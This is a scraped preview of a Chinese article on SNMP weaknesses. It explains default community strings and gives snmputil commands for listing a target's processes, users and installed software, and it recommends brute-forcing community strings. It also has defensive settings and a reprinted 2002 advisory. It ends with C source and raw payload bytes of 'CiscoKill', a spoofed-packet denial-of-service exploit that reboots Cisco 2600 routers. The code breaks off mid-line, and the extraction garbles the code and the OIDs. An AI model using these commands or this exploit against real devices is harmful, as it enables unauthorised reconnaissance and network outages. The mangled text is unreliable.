snmp協(xié)議漏洞分析.doc_第1頁(yè)
snmp協(xié)議漏洞分析.doc_第2頁(yè)
snmp協(xié)議漏洞分析.doc_第3頁(yè)
snmp協(xié)議漏洞分析.doc_第4頁(yè)
snmp協(xié)議漏洞分析.doc_第5頁(yè)
已閱讀5頁(yè),還剩13頁(yè)未讀 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

、snmp簡(jiǎn)單網(wǎng)絡(luò)管理協(xié)議漏洞分析簡(jiǎn)單網(wǎng)絡(luò)管理協(xié)議(SNMP)是一個(gè)可以遠(yuǎn)程管理計(jì)算機(jī)和網(wǎng)絡(luò)設(shè)備的協(xié)議.有兩種典型的遠(yuǎn)程監(jiān)控模式.他們可以粗略地分為讀和寫(或者是PUBLIC和PRIVATE).如果攻擊者能猜出一個(gè)PUBLIC團(tuán)體串值,那么他就可以從遠(yuǎn)程設(shè)備讀取SNMP數(shù)據(jù).這個(gè)信息可能包括系統(tǒng)時(shí)間,IP地址,接口,運(yùn)行著的進(jìn)程,etc等.如果攻擊者猜出一個(gè)PRIVATE團(tuán)體串值(寫入或完全控制,他就有更改遠(yuǎn)程機(jī)器上信息的能力.這會(huì)是一個(gè)極大的安全漏洞,能讓攻擊者成功地破壞網(wǎng)絡(luò),運(yùn)行的進(jìn)程,ect.其實(shí),完全控制會(huì)給遠(yuǎn)程攻擊者提供在主機(jī)上的完全管理權(quán)限.更多信息請(qǐng)參見(jiàn):/exploi . _vulnerability.html_SNMP Agent responded as expected with community name: publicCVE_ID : CAN-1999-0517, CAN-1999-0186, CAN-1999-0254, CAN-1999-0516BUGTRAQ_ID : 11237, 10576, 177, 2112, 6825, 7081, 7212, 7317, 9681, 986NESSUS_ID : 10264Other references : IAVA:2001-B-0001SNMP服務(wù)在UDP 161/162端口監(jiān)聽(tīng)用法:snmputil walk IP public OID-OID-含義-...2.1.2 獲取系統(tǒng)進(jìn)程... 獲取用戶列表...4.1.0 獲取域名...3.1.2 獲取安裝的軟件..2.1.1 獲取系統(tǒng)信息-掃描到的一個(gè)報(bào)告:. 端口snmp (161/udp)發(fā)現(xiàn)安全漏洞 : Snmp口令: public. 端口snmp (161/udp)發(fā)現(xiàn)安全提示 : sysDescr.0 = Draytek V3300 Advanced Router sysUpTime.0 = 3 Days, 1 Hours, 53 Minutes, 10 Seconds sysContact.0 = adminrouter sysName.0 = V3300c sysLocation.0 = Hsin Chu sysServices.0 = 0目的:得到遠(yuǎn)程目標(biāo)的系統(tǒng)敏感信息簡(jiǎn)單 利用方法這里的public使用來(lái)查詢對(duì)方信息時(shí)所用到的密碼具體的做法:要用到一個(gè)叫snmputil的東西,這個(gè)東西在win2000的resource kit中有,通過(guò)它我們可以通過(guò)snmp服務(wù)來(lái)查看對(duì)方的一些信息格式:snmputil get(or walk or getnext) public oidget和括號(hào)里的時(shí)獲取對(duì)方機(jī)器信息的一種方法,public就是查尋的時(shí)候要用的密碼。oid是被查詢?cè)O(shè)備的ID號(hào)碼例如:snmputil walk 11 public ...2.1.2snmputil walk ip public ...2.1.2(列出系統(tǒng)進(jìn)程)snmputil walk ip public ...(列出系統(tǒng)用戶列表)snmputil get ip public ...4.1.0(列出域名)snmputil walk ip public ...3.1.2(列出安裝軟件)snmputill walk ip public ..2.1(列出系統(tǒng)信息)-關(guān)于掃描中snmp信息的利用對(duì)于完全安裝的WIN2K或者說(shuō)啟動(dòng)了 簡(jiǎn)單網(wǎng)絡(luò)管理協(xié)議(SNMP)的系統(tǒng)來(lái)說(shuō),仍然將存在 非常致命的隱患,完全將你的系統(tǒng)暴露給所有人。 一、從SNMP說(shuō)起 SNMP,Simple Network Management Protocol,簡(jiǎn)單網(wǎng)絡(luò)管理協(xié)議。用于管理IP網(wǎng)絡(luò)上結(jié)點(diǎn)的協(xié)議。 幾乎所有的網(wǎng)絡(luò)設(shè)備和網(wǎng)絡(luò)操作系統(tǒng)都支持SNMP。 接下來(lái)要介紹的是:community strings, 理解成為基于SNMP協(xié)議信息通信時(shí)使用的一種“查詢密碼”應(yīng)該不為過(guò)吧。 當(dāng)使用特殊的客戶端應(yīng)用程序,通過(guò)該“查詢密碼”community strings的驗(yàn)證,將獲得 對(duì)應(yīng)的權(quán)限(只讀 或者 讀寫)對(duì)SNMP中管理信息庫(kù)(MIB)進(jìn)行訪問(wèn)。 而管理信息庫(kù)(MIB)中則保存了系統(tǒng)所有的重要信息。 也就是說(shuō),如果可以知道community strings 這個(gè)“查詢密碼”,我們就可以刺探系統(tǒng)的信息了。 比較遺憾的是,很多網(wǎng)絡(luò)設(shè)備廠商以及操作系統(tǒng)廠商,在初始狀態(tài)下,都使用比較 統(tǒng)一的“查詢密碼”呵呵,這也就給我們提供了足夠的方便。 二、對(duì)WIN2K進(jìn)行刺探掃描 以WIN2K來(lái)說(shuō),一旦安裝并啟動(dòng)了簡(jiǎn)單網(wǎng)絡(luò)管理協(xié)議,系統(tǒng)將打開(kāi) UDP 161 snmp UDP 162 snmptrap 兩個(gè)端口。 具體做什么我們不去細(xì)究。需要注意的是,這里使用的是UDP端口,而不是TCP端口。 同時(shí),WIN2K系統(tǒng)支持初始的“查詢密碼”community strings 為:public 我們只要通過(guò)一款Resource Kit里面的工具snmputil,就可以方便的獲得非常多的信息。 在這里可以下載:/abu/tools/win/snmputil.exe . NEkm0m&hl=zh-CN簡(jiǎn)單介紹一下用法 snmputil,就是程序名拉,呵呵。 get,就理解成獲取一個(gè)信息。 getnext,就理解成獲取下一個(gè)信息。 walk,就理解成獲取一堆信息(嗯,應(yīng)該說(shuō)所有數(shù)據(jù)庫(kù)子樹(shù)/子目錄的信息) agent,具體某臺(tái)機(jī)器拉。 community,嗯就是那個(gè)“community strings”“查詢密碼”拉。 oid,這個(gè)要多說(shuō)一下,這個(gè)呢,就是物件識(shí)別代碼(Object Identifier)。 可以把oid理解成MIB管理信息庫(kù)中各種信息分類存放樹(shù)資源的一個(gè)數(shù)字標(biāo)識(shí)。 嘗試獲得對(duì)方機(jī)器當(dāng)前進(jìn)程列表 snmputil.exe walk 對(duì)方ip public ...2.1.2 嘗試獲得對(duì)方機(jī)器系統(tǒng)用戶列表 snmputil walk 對(duì)方ip public ... 整理一些列在下面: snmputil walk 對(duì)方ip public ...2.1.2 列出系統(tǒng)進(jìn)程 snmputil walk 對(duì)方ip public ... 列系統(tǒng)用戶列表 snmputil get 對(duì)方ip public ...4.1.0 列出域名 snmputil walk 對(duì)方ip public ...3.1.2 列出安裝的軟件 snmputil walk 對(duì)方ip public ..2.1.1 列出系統(tǒng)信息 三、一些工具的推薦 snmputil的功能已經(jīng)完全足夠用來(lái)進(jìn)行對(duì)網(wǎng)絡(luò)主機(jī)的刺探掃描了,只是因?yàn)樗敲钚邢碌墓ぞ?而且,超常的oid標(biāo)識(shí)符也并不是那么方便輸入。 這里我推薦兩款非常不錯(cuò)的網(wǎng)絡(luò)管理工具,當(dāng)然,它們的另一個(gè)作用就是snmp的刺探。 SolarWinds 2001的IP Network Browser IP Network Browser是一款snmp瀏覽工具,它可以提供在輸入正確的community strings“查詢密碼” 后的運(yùn)行著snmp服務(wù)的WIN2K/NT系統(tǒng)上的任何可得的信息。 在下圖中,我們可以看到“查詢密碼”為:public 而在Accounts(賬號(hào))表單里,我們已經(jīng)獲得了同上面snmputil命令行方式一樣的反饋信息。 功能強(qiáng)大噢。 整個(gè)SolarWinds 軟件套件更包含了更多的網(wǎng)絡(luò)管理工具,以后我將在其他的文章里繼續(xù)介紹。 LANguard Network Scanner 2.0 這是一個(gè)網(wǎng)絡(luò)安全綜合掃描工具,主要功能:顯示每臺(tái)主機(jī)的NETBIOS主機(jī)名,MAC地址,搜尋 共享,操作系統(tǒng)類型判斷,并測(cè)試共享密碼的安全性等等,以html格式輸出。 當(dāng)然,LANguard Network Scanner還有一些更高級(jí)更適用的功能 比如暴力破解community strings,呵呵自己配置一個(gè)字典的話 會(huì)非常有效的。 四、如何防范基于snmp的刺探掃描 首先需要注意的是,snmp服務(wù)的通訊端口是UDP端口,這也就是大部分網(wǎng)絡(luò)管理人員很容易忽略的地方。 往往某些網(wǎng)管配置服務(wù)器阻斷了NetBIOS空會(huì)話的建立,就認(rèn)為系統(tǒng)安全有了相當(dāng)?shù)谋U?,可由于安裝 了SNMP服務(wù),不知不覺(jué)中,就給系統(tǒng)帶去了極大的隱患。 最方便和容易的解決方法,就是關(guān)閉SNMP服務(wù),或者卸載掉該服務(wù)。 如果關(guān)掉SNMP服務(wù)不方便的話,那么可以通過(guò)修改注冊(cè)表或者直接修改圖形界面的SNMP服務(wù)屬性 進(jìn)行安全配置。 開(kāi)始程序管理工具服務(wù)SNMP Service屬性安全 在這個(gè)配置界面中,可以修改community strings,也就是微軟所說(shuō)的“團(tuán)體名稱”,呵呵,也就是 我所說(shuō)的“查詢密碼”?;蛘呖梢耘渲檬欠駨哪承┌踩鳈C(jī)上才允許SNMP查詢。 不過(guò)NT4環(huán)境下的朋友就必須修改注冊(cè)表了。 修改community strings,在 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSNMPParametersValidCommunities 下,將public的名稱修改成其它的名稱就可以了。 如果要限定允許的ip才可以進(jìn)行SNMP查詢,可以進(jìn)入 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSNMPParametersPermittedManagers 添加字符串,名稱為“1”,內(nèi)容為要允許的主機(jī)IP。 當(dāng)然,如果允許多臺(tái)機(jī)器的話,就要名稱沿用“2、3、4”等名稱了。 -附帶資料:SNMP協(xié)議實(shí)現(xiàn)存在多個(gè)漏洞-來(lái)源:類別:系統(tǒng)漏洞日期:2002-6-22 8:08:04涉及程序: SNMP協(xié)議和各種網(wǎng)絡(luò)設(shè)備 描述: snmp協(xié)議實(shí)現(xiàn)機(jī)制存在多個(gè)漏洞嚴(yán)重危害互聯(lián)網(wǎng)基礎(chǔ)安全 詳細(xì): 背景:ASN No.1信令為抽象數(shù)據(jù)類型形式的標(biāo)準(zhǔn),1984年以來(lái),被用于編寫和發(fā)送復(fù)雜的數(shù)據(jù)結(jié)構(gòu)。這個(gè)語(yǔ)言從80年代開(kāi)始衍生出了多個(gè)通信協(xié)議和應(yīng)用,是電信業(yè)、電力業(yè)和核電業(yè)計(jì)算機(jī)網(wǎng)絡(luò)基礎(chǔ)信令。也是互聯(lián)網(wǎng)賴以運(yùn)行的基礎(chǔ)通信規(guī)則之一。全球級(jí)計(jì)算機(jī)安全專家正在調(diào)查ASN N0.1信令的安全脆弱性。這些脆弱性嚴(yán)重威脅互聯(lián)網(wǎng)基礎(chǔ)設(shè)施安全,黑客可以開(kāi)發(fā)攻擊程序,關(guān)閉ISP的骨干路由器、交換機(jī)和眾多的基礎(chǔ)網(wǎng)絡(luò)設(shè)備。最終破壞性的后果將是引起互聯(lián)網(wǎng)癱瘓。業(yè)界和政府的計(jì)算機(jī)安全專家門早就在關(guān)注這些問(wèn)題。CNNS的安全專家早在1999年就發(fā)現(xiàn)很多電信公司的骨干路由器有致命缺陷。在那個(gè)時(shí)候,只需要很簡(jiǎn)單的操作,就可以引起大規(guī)模的網(wǎng)絡(luò)癱瘓。舉一個(gè)例子,一個(gè)顯著的漏洞特征曾經(jīng)出現(xiàn)在臺(tái)灣中華電信,1999年如果有黑客施之以簡(jiǎn)單攻擊,整個(gè)臺(tái)灣地區(qū)大約65%的用戶就不再能上網(wǎng)。由于ASN No.1信令的安全脆弱性,超過(guò)100家計(jì)算機(jī)網(wǎng)絡(luò)設(shè)備的提供商將付出代價(jià)。彌補(bǔ)這些缺陷的投入將超過(guò)1億美金。數(shù)百家網(wǎng)絡(luò)設(shè)備提供商在今年早期就獲得警告。如今已經(jīng)紛紛給出解決方案。由于多個(gè)internet通信協(xié)議都是基于ASN No.1計(jì)算機(jī)網(wǎng)絡(luò)語(yǔ)言,ASN No.1的脆弱性將廣泛威脅通信行業(yè)。最為顯著的例子就是造成SNMP協(xié)議多個(gè)安全漏洞。相同的問(wèn)題還影響至少其它三個(gè)互聯(lián)網(wǎng)協(xié)議,在這里不做詳細(xì)敘述。Oulu University Secure Programming Group (OUSPG,http:/www.ee.oulu.fi/research/ouspg/)長(zhǎng)期專注于SNMP協(xié)議的研究,并披露了這個(gè)嚴(yán)重的安全系列問(wèn)題。 =多個(gè)計(jì)算機(jī)網(wǎng)絡(luò)設(shè)備廠商的產(chǎn)品存在由于snmp協(xié)議脆弱性引起的多個(gè)漏洞,這些缺陷可能允許非法越權(quán)訪問(wèn)、拒絕服務(wù)攻擊、導(dǎo)致不穩(wěn)定的運(yùn)行狀況。Simple Network Management Protocol (SNMP)協(xié)議被廣泛用于網(wǎng)絡(luò)設(shè)備的監(jiān)控和管理。SNMPv1定義了多個(gè)類型的SNMP訊息,如請(qǐng)求信息、配置改變、請(qǐng)求響應(yīng)、SNMP對(duì)象列舉,和主動(dòng)的警報(bào)發(fā)送。一、SNMPv1跟蹤消息處理系列缺陷SNMP代理(SNMP agents)發(fā)送跟蹤消息(SNMP trap messages)到管理器(SNMP manager),向管理器報(bào)告錯(cuò)誤信息、警報(bào)和其它的有關(guān)宿主的狀態(tài)信息。管理器必須解析和處理這些數(shù)據(jù)。OUSPG發(fā)現(xiàn)很多SNMP管理器在解析和處理過(guò)程中存在缺陷。二、SNMPv1請(qǐng)求信息處理系列缺陷SNMP請(qǐng)求信息是從管理器向snmp agent代理發(fā)出的。請(qǐng)求信息用于獲取代理信息或指示snmp agent配置設(shè)備參數(shù)。SNMP agent代理必須正確解碼和處理該信息。在解碼以及隨后的數(shù)據(jù)處理過(guò)程中,代理和管理器都有出現(xiàn)拒絕服務(wù)錯(cuò)誤、格式化字符串錯(cuò)誤和緩沖溢出攻擊的可能。有的攻擊甚至不需要提供正確的SNMP community string(SNMP協(xié)議設(shè)置的一個(gè)關(guān)鍵參數(shù),有點(diǎn)類似口令)。這些漏洞可以導(dǎo)致拒絕服務(wù)、服務(wù)中斷,還有一些情況下可以允許攻擊者獲取設(shè)備的非法訪問(wèn)權(quán)限。攻擊對(duì)于不同的產(chǎn)品有不同的影響。 解決方案: 本站列出了一百多個(gè)全球大廠商關(guān)于這個(gè)安全問(wèn)題的響應(yīng)和有關(guān)信息:/patch/vendor.htm請(qǐng)注意,以下的安全措施對(duì)于您的網(wǎng)絡(luò)日常維護(hù)和網(wǎng)絡(luò)設(shè)置構(gòu)架可能有重大的影響。要確保以下措施的結(jié)果不會(huì)影響網(wǎng)絡(luò)運(yùn)行性能。1、從廠商獲得補(bǔ)丁程序并執(zhí)行/patch/vendor.htm提供了廠商有關(guān)該安全性問(wèn)題的信息。2、禁止SNMP服務(wù)CNNS建議您禁止所有不必要運(yùn)行的服務(wù),包括SNMP。不幸的是,有些產(chǎn)品在SNMP服務(wù)被禁止的情況下會(huì)有意外情況發(fā)生或者拒絕服務(wù)。如果是這樣的話,必須執(zhí)行更高級(jí)的安全設(shè)置。3、邊界訪問(wèn)過(guò)濾臨時(shí)的措施是,在網(wǎng)絡(luò)邊界禁止不良信息流進(jìn)入內(nèi)部網(wǎng)絡(luò)或者發(fā)往外部網(wǎng)絡(luò)。對(duì)于網(wǎng)絡(luò)管理者來(lái)說(shuō),比較有力的措施是通過(guò)防火墻等過(guò)濾設(shè)備控制對(duì)SNMP服務(wù)的請(qǐng)求。比如,除指定的服務(wù)器外,缺省情況下通通禁止對(duì)SNMP服務(wù)的請(qǐng)求,以下端口的過(guò)濾有利于外部攻擊者對(duì)內(nèi)部網(wǎng)的SNMP攻擊:snmp 161/udp # Simple Network Management Protocol (SNMP)snmp 162/udp # SNMP system management messages以下這些服務(wù)并不常用,但有些產(chǎn)品可能運(yùn)行這些服務(wù):snmp 161/tcp # Simple Network Management Protocol (SNMP)snmp 162/tcp # SNMP system management messagessmux 199/tcp # SNMP Unix Multiplexersmux 199/udp # SNMP Unix Multiplexersynoptics-relay 391/tcp # SynOptics SNMP Relay Portsynoptics-relay 391/udp # SynOptics SNMP Relay Portagentx 705/tcp # AgentXsnmp-tcp-port 1993/tcp # cisco SNMP TCP portsnmp-tcp-port 1993/udp # cisco SNMP TCP port過(guò)濾對(duì)這些服務(wù)的請(qǐng)求,必須細(xì)心慎重,以免影響正常的網(wǎng)絡(luò)運(yùn)行。值得注意的是,SNMP守護(hù)進(jìn)程可能在該設(shè)備上綁定所有的IP地址。因此,要合理考慮包過(guò)濾策略。比如,即使禁止了SNMP包直接發(fā)送給普通的網(wǎng)絡(luò)地址,還是有可能受到攻擊。因?yàn)楣粽呖梢岳肧NMP缺陷攻擊一些特殊的網(wǎng)絡(luò)地址,如:網(wǎng)絡(luò)廣播地址子網(wǎng)廣播地址和所有的loopback地址。(127.x.x.x)loopback地址常被路由器用于管理用途。管理員可以考慮是否過(guò)濾這些數(shù)據(jù)包。但必須慎重,因?yàn)椴划?dāng)?shù)脑O(shè)置可能影響網(wǎng)絡(luò)性能。最后,對(duì)以下的RPC服務(wù)的訪問(wèn)也可以考慮禁止:名稱 程序ID 別名snmp 100122 na.snmp snmp-cmc snmp-synoptics snmp-unisys snmp-utksnmpv2 100138 na.snmpv2 # SNM Version 2.2.2snmpXdmid 100249值得注意的是,這些措施對(duì)內(nèi)部攻擊無(wú)效。4、在內(nèi)部網(wǎng)絡(luò)中過(guò)濾不正常的SNMP訪問(wèn)。在很多網(wǎng)絡(luò)系統(tǒng)中,只有有限的網(wǎng)絡(luò)管理系統(tǒng)需要發(fā)生SNMP請(qǐng)求?;谶@種情形,對(duì)于大多數(shù)的SNMP代理,可以設(shè)置僅接受有限幾臺(tái)主機(jī)的SNMP請(qǐng)求。這樣可以降低內(nèi)部攻擊風(fēng)險(xiǎn)。使用這些安全措施同樣必須慎重,以免不當(dāng)?shù)脑O(shè)置降低網(wǎng)絡(luò)性能。5、修改缺省的community string很多支持SNMP服務(wù)的產(chǎn)品的出廠設(shè)置中,默認(rèn)的community-string是public(只讀訪問(wèn))和private(讀寫訪問(wèn))。CNNS強(qiáng)烈建議用戶修改這兩個(gè)缺省字符串。否則攻擊者將可以通過(guò)SNMP協(xié)議修改設(shè)備的設(shè)定。修改了這兩個(gè)缺省口令后,還要防備監(jiān)聽(tīng)攻擊以免攻擊者獲得新的設(shè)置口令。SNMPv3對(duì)這點(diǎn)做了改進(jìn),參考 RFC2574。6、隔離SNMP包從網(wǎng)絡(luò)管理的角度,用隔離措施可以降低SNMP攻擊的風(fēng)險(xiǎn)。包括物理隔離、VLAN邏輯隔離和VPN方式的隔離。注意通過(guò)交換機(jī)做VLAN隔離將加大攻擊者攻擊難度,但理論上并不能完全杜絕這類攻擊。-攻擊方法: 范例:一、如果獲取支持SNMP協(xié)議設(shè)備的community string,在合適的環(huán)境下,攻擊者將可以:1、修改路由器配置2、獲取服務(wù)器最高控制權(quán)3、重新啟動(dòng)設(shè)備 二、攻擊者在不知道community string的前提下,也能進(jìn)行拒絕服務(wù)攻擊。以下這段代碼將重啟Cisco 2600路由器:/* This program send a spoofed snmpv1 get request that cause system rebooton Cisco 2600 routers with IOS version 12.0(10) Author : kunderatiscali.it . dont be lame use for testing only! . */#include #include #include #include #include #include #include #include #include struct in_addr sourceip_addr;struct in_addr destip_addr;struct sockaddr_in dest;struct ip *IP; struct udphdr *UDP; int p_number=1,sok,datasize,i=0; char *packet,*source,*target; char *packetck;char *data,c;char snmpkill = x30x81xafx02x01x00x04x06x70x75x62x6cx69x63xa0x81 xa1x02x02x09x28x02x01x00x02x01x00x30x81x94x30x81 x91x06x81x8cx4dx73x25x73x25x73x25x73x25x73x25x73 x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73 x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73 x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73 x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73 x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73 x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73 x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73 x25x73x25x73x25x73x81xffxffxffxffxffxffxffxffx7f x05;struct pseudoudp u_long ipsource;u_long ipdest;char zero;char proto;u_short length; *psudp;in_cksum (unsigned short *ptr, int nbytes)register long sum; /* assumes long = 32 bits */u_short oddbyte;register u_short answer; /* assumes u_short = 16 bits */* Our algorithm is simple, using a 32-bit accumulator (sum),* we add sequential 16-bit words to it, and at the end, fold back* all the carry bits from the top 16 bits into the lower 16 bits.*/sum = 0;while (nbytes 1)sum += *ptr+;nbytes -= 2;/* mop up an odd byte, if necessary */if (nbytes = 1)oddbyte = 0; /* make sure top half is zero */*(u_char *) & oddbyte) = *(u_char *) ptr; /* one byte only */sum += oddbyte;/* Add back carry outs from top 16 bits to low 16 bits.*/sum = (sum 16) + (sum & 0xffff); /* add high-16 to low-16 */sum += (sum 16); /* add carry */answer = sum; /* ones-complement, then truncate to 16 bits */return (answer);void usage (void)printf(Kundera CiscoKill v1.0n;printf(Usage: ciscokill -n number of packets -s source ip_addr -t ip_target n;int main(int argc,char *argv)if (argc 2)usage();exit(1);while(c=getopt(argc,argv,s:t:n:)!=EOF)switch(c) case s: source=optarg; break;case n: p_number=atoi(optarg); break;case t: target=optarg;if ( (sok=socket(AF_INET,SOCK_RAW,IPPROTO_RAW) ip_dst.s_addr = destip_addr.s_addr;IP-ip_src.s_addr = sourceip_ad

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論